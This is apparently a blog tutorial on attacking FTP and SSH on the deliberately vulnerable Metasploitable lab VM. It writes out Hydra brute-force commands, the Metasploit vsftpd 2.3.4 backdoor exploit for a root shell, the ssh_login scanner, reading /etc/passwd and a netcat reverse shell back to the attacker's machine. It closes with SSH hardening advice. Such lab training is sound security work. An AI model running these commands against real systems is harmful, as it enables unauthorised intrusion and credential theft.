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FTP and SSH Pentesting

Updated: Jul 2

Metasploitable is a purposefully vulnerable virtual machine (VM) created by Rapid7, designed for testing and practicing penetration testing and security research using the Metasploit Framework. Metasploitable is used primarily for learning and honing skills related to cybersecurity, ethical hacking, and vulnerability assessment.


This guide will show you how to test your network for FTP and SSH vulnerabilities and use these findings to secure it.


Skill covered

  • Setting up Metasploitable and Kali Lab

  • Hydra brute forcing using a username and password lists

  • Metaspoit framework to search and deploy an exploit

  • Gain root shell

  • Basic FTP and SSH commands


Setup

I would asume you already have Kali Linux setup.

Create Metasploit virrtual machine in Virtual Box click on "new"


And then select the extracted VMDK file as the Virtual HD.


Power on both Metasploitable and Kali machines, the username and password for metasploitable is msfadmin.

In metasploitable use ifconfig to list the ip address, for this guide its 192.168.0.49.


Searching for Vulnerabilities

In Kali to scan all ports and find version numbers and services (sV) run:

nmap -p -sV 192.168.0.1/24

This is for the subnet of 255.255.255.0 (8 x 3 = 24)


Or if you know your target IP run the following:

nmap -p- -sV 192.168.0.49

The first easy target is FTP on port 21, for the purpose of training I have created 2 small username and password list files called user.txt and pass.txt in the default wordlist location of /usr/share/wordlists.


user.txt to have: msfadmin, user, postgres, sys, klog, service

pass.txt to have: msfadmin, user, postgres, batman, 123456789, service


Then use the list created above to brute force the FTP service:

hydra -L users.txt -P pass.txt 192.168.0.49 ftp

Usernames and passwords are found


Now we know a few details and we know the version is vsftpd 2.3.4 so we can check for known exploits.


Open up Metasploit Console by using command "msfconsole" and "search vsftpd" this provides the string for the next command, you can also use "searchsploit vsftpd"


To run the exploit use the command:

use exploit/unix/ftp/vsftpd_234_backdoor

then

exploit

Then you have access via security backdoor :)


I'm now logged in as root and I can see the linux file structure and can also perform other tasks like checking and creating user accounts and deleting and downloading files etc but your need to research those.


Hope you enjoyed!


 

Exploiting port 22 SSH using Metasploit framework.


Secure Shell (SSH) is a protocol used to securely connect to remote systems over a network.

This guide will help you understand how easy it can be to exploit out of date vulnerable SSH services and understand the importance of patching.


Scanning for SSH services

The first step in pentesting SSH is to identify systems running the SSH service.


Use the following to check SSH port 22 open and the versions running:-p


nmap -p 22 --open -sV 192.168.0.49

This came back with an old version of OpenSSH 4.7 as below:


Now we know this surprisingly vulnerable machine is running and old version off OpenSSH we can next use Metasploit to exploit it!


Run "msfconsole" to open the environment for the next stages


The command for this task will be ssh_login:

use auxiliary/scanner/ssh/ssh_login
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
set VERBOSE false
Run

The exploit has found msfadmin for username and password, to start a session run the following command:

sessions -i 1 

And now I have access. Run whoami to check the login and uname -a for the platform.

 

Alternative method (in progress)

Brute Forcing SSH Credentials with Hydra

If weak credentials are in use, brute-forcing can be a viable attack method. Use tools like Hydra or Medusa to automate the process.


hydra -l [username] -P [password_list] [target_ip] ssh

Logging into SSH

Once valid credentials are obtained, log in using the SSH client.


ssh [username]@[target_ip]

 

Post-Login Enumeration

After gaining access, perform various enumeration tasks to gather information about the target system.


Check system information with

uname -a


List users

cat /etc/passwd

Check running processes

ps aux

Other Commands

Check sudo privilages to gain root access: sudo -l

List open ports: netstat -tuln

Firewall rules: iptables -L

Disk usage: df -h

Memory usage: free -m


SSH Key generation: ssh-keygen

Copy public key to target machine: ssh-copy-id [username]@[target_ip]


 

Transferring Files Using SSH Commands


Copying Files from Local to Remote:

scp [local_file] [username]@[remote_host]:[remote_directory]

For example: scp file.txt user@remote_host:/home/user/



Copying Files from Remote to Local

scp [username]@[remote_host]:[remote_file] [local_directory]

For example: scp user@remote_host:/home/user/file.txt /local/directory/


Another copy command is rsync

rsync -avz [local_file] [username]@[target_ip]:[remote_directory]

rsync -avz file.txt user@192.168.1.10:/home/user/


 

Creating a reverse shall

Set up a reverse shell to maintain access. Use Netcat for this purpose:


On your Kali machine, start a listener:

nc -lvnp [listening_port]


On the target machine, run:

nc -e /bin/sh [your_ip] [listening_port]


 

Best Practices for SSH Security

To defend against SSH attacks, implement the following best practices:


  • Use Strong Passwords: Ensure all user passwords are complex and unique.

  • Use SSH Keys: Disable password authentication and enforce SSH key-based authentication.

  • Change Default Port: Change the default SSH port (22) to a non-standard port.

  • Disable Root Login: Prevent direct root login by setting PermitRootLogin no in the SSH configuration file.

  • Enable Two-Factor Authentication (2FA): Add an extra layer of security with 2FA.

  • Regularly Update Software: Keep SSH server software up-to-date to protect against known vulnerabilities.

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